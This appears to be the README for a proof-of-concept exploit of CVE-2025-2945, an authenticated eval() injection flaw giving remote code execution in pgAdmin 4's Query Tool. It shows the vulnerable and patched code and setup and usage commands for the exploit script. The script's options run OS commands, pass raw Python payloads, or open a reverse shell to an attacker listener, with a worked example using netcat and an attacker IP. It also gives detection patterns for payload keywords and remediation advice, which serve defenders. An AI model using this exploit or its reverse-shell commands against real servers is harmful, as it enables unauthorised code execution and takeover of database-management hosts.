
PoC for CVE-2025-2945 — pgAdmin 4 authenticated eval() injection RCE, CVSS 9.9
CVSS 3.1: 9.9 (Critical) · Affects: pgAdmin 4 8.10 – 9.1 · Fixed in: 9.2 (April 4, 2025) CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection)
A proof-of-concept exploit for CVE-2025-2945, an authenticated remote code execution
vulnerability in pgAdmin 4's Query Tool. A boolean transaction-state flag
(query_commited) is passed directly into Python's eval() instead of being
parsed as a boolean, allowing an authenticated user to execute arbitrary Python
— and by extension, arbitrary OS commands — under the privileges of the
pgAdmin service process. The same anti-pattern is present a second time in the
Cloud Deployment module's Google provider (high_availability).
A full technical write-up covering root cause, exploitation logic, detection guidance, and remediation is available here: khashayarnazarkardeh.com — Field Notes
Vulnerable code (web/pgadmin/tools/sqleditor/__init__.py):
if key == 'query_commited':
query_commited = (
eval(value) if isinstance(value, str) else value
)
Fixed code (pgAdmin 9.2+):
query_commited = (
value.lower() in ('true', '1') if isinstance(value, str) else value
)
The vulnerability requires an authenticated pgAdmin session and a Query Tool transaction bound to a database server already registered in the target account. Both are common preconditions in real deployments, where pgAdmin is typically pre-configured with one or more saved server connections.
--username / --password)--db-user / --db-password / --db-name)git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt
python3 CVE-2025-2945.py \
--host <target> --port 80 \
--username <pgadmin-email> --password <pgadmin-password> \
--db-user <db-user> --db-password <db-password> --db-name <db-name> \
--cmd id
| Flag | Description |
|---|---|
--cmd COMMAND | Runs a single OS command via os.system() |
--reverse-shell HOST:PORT | Spawns a named-pipe reverse shell to a listener you control |
--raw-payload EXPR | Passes a raw Python expression directly to the vulnerable eval() sink |
# On your attack host, in a separate terminal:
nc -lvnp 4444
# Run the exploit:
python3 CVE-2025-2945.py \
--host pgadmin.internal.example.com --port 80 \
--username [email protected] --password 'correct-horse-battery-staple' \
--db-user postgres --db-password postgres --db-name postgres \
--reverse-shell 10.10.14.5:4444
python3 CVE-2025-2945.py --help
Defenders should monitor for:
/sqleditor/query_tool/download/<trans_id> or
/cloud/deploy where query_commited / high_availability is anything
other than a literal "true", "false", "1", or "0".__import__, os.system, subprocess,
eval, exec, open() appearing in either parameter.Upgrade to pgAdmin 4 9.2 or later. The patch is a minimal, low-risk boolean-coercion fix. Where immediate patching isn't possible, restrict network access to pgAdmin to trusted, authenticated networks, and disable the Cloud Deployment module for accounts that don't require it.
Khashayar Nazarkardeh — Cybersecurity & AI Security Leader khashayarnazarkardeh.com · @Khashayarnzk
This tool is provided for authorized security testing, research, and educational purposes only. Running this against any system without explicit, documented authorization from the system owner is illegal in most jurisdictions. The author assumes no liability for misuse of this software. By using this script you agree that you are solely responsible for ensuring you have permission to test the target.